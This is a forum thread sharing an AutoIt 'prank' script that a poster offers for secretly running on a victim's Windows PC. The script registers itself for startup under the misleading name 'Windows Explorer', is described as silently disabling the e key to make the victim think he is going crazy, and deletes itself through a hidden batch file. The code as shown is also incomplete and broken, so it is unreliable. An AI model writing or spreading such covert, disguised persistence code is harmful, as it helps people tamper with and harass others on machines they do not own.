Jump to content
Sign in to follow this  

Prank Script!

Recommended Posts


This is a very simple script, and I stole the delete-itself part from somewhere on this site, it's not from me.

RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer", "REG_SZ", @ScriptFullPath)
HotKeySet("+!n", "ShowMessage")
Func Nothing()
Func ShowMessage()
    MsgBox(0, "Nathan is Awesome", "That's what you get for messing with Nate...")
    RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Explorer")
Func _SelfDelete($iDelay = 0)
    Local $sCmdFile
    FileDelete(@TempDir & "\scratch.bat")
    $sCmdFile = 'ping -n ' & $iDelay & ' > nul' & @CRLF _
            & ':loop' & @CRLF _
            & 'del "' & @ScriptFullPath & '"' & @CRLF _
            & 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _
            & 'del ' & @TempDir & '\scratch.bat'
    FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
    Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
while 1

What it does is, it first tells windows to run it everytime it starts up. Then it makes it so whenever you press e or E, no matter what you are doing, it just won't work! This hopefully will drive the poor victim to replace his keyboard multiple times and think he is going crazy!

Watch out Jesse here it comes!

When you finally do want them to find out, tell them to do ALT-SHIFT-N that will pop up a message that in this case says "That's what you get for messing with Nate..." but you can change that easily above. Then it removes the registry entry it had created, and deletes itself!

This isn't a big technical achievement, it's just a fun one!

Share this post

Link to post
Share on other sites

would be funnier if it didnt allow mouse to move lol

whats the "while 1


at the end for?

Share this post

Link to post
Share on other sites
This topic is now closed to further replies.
Sign in to follow this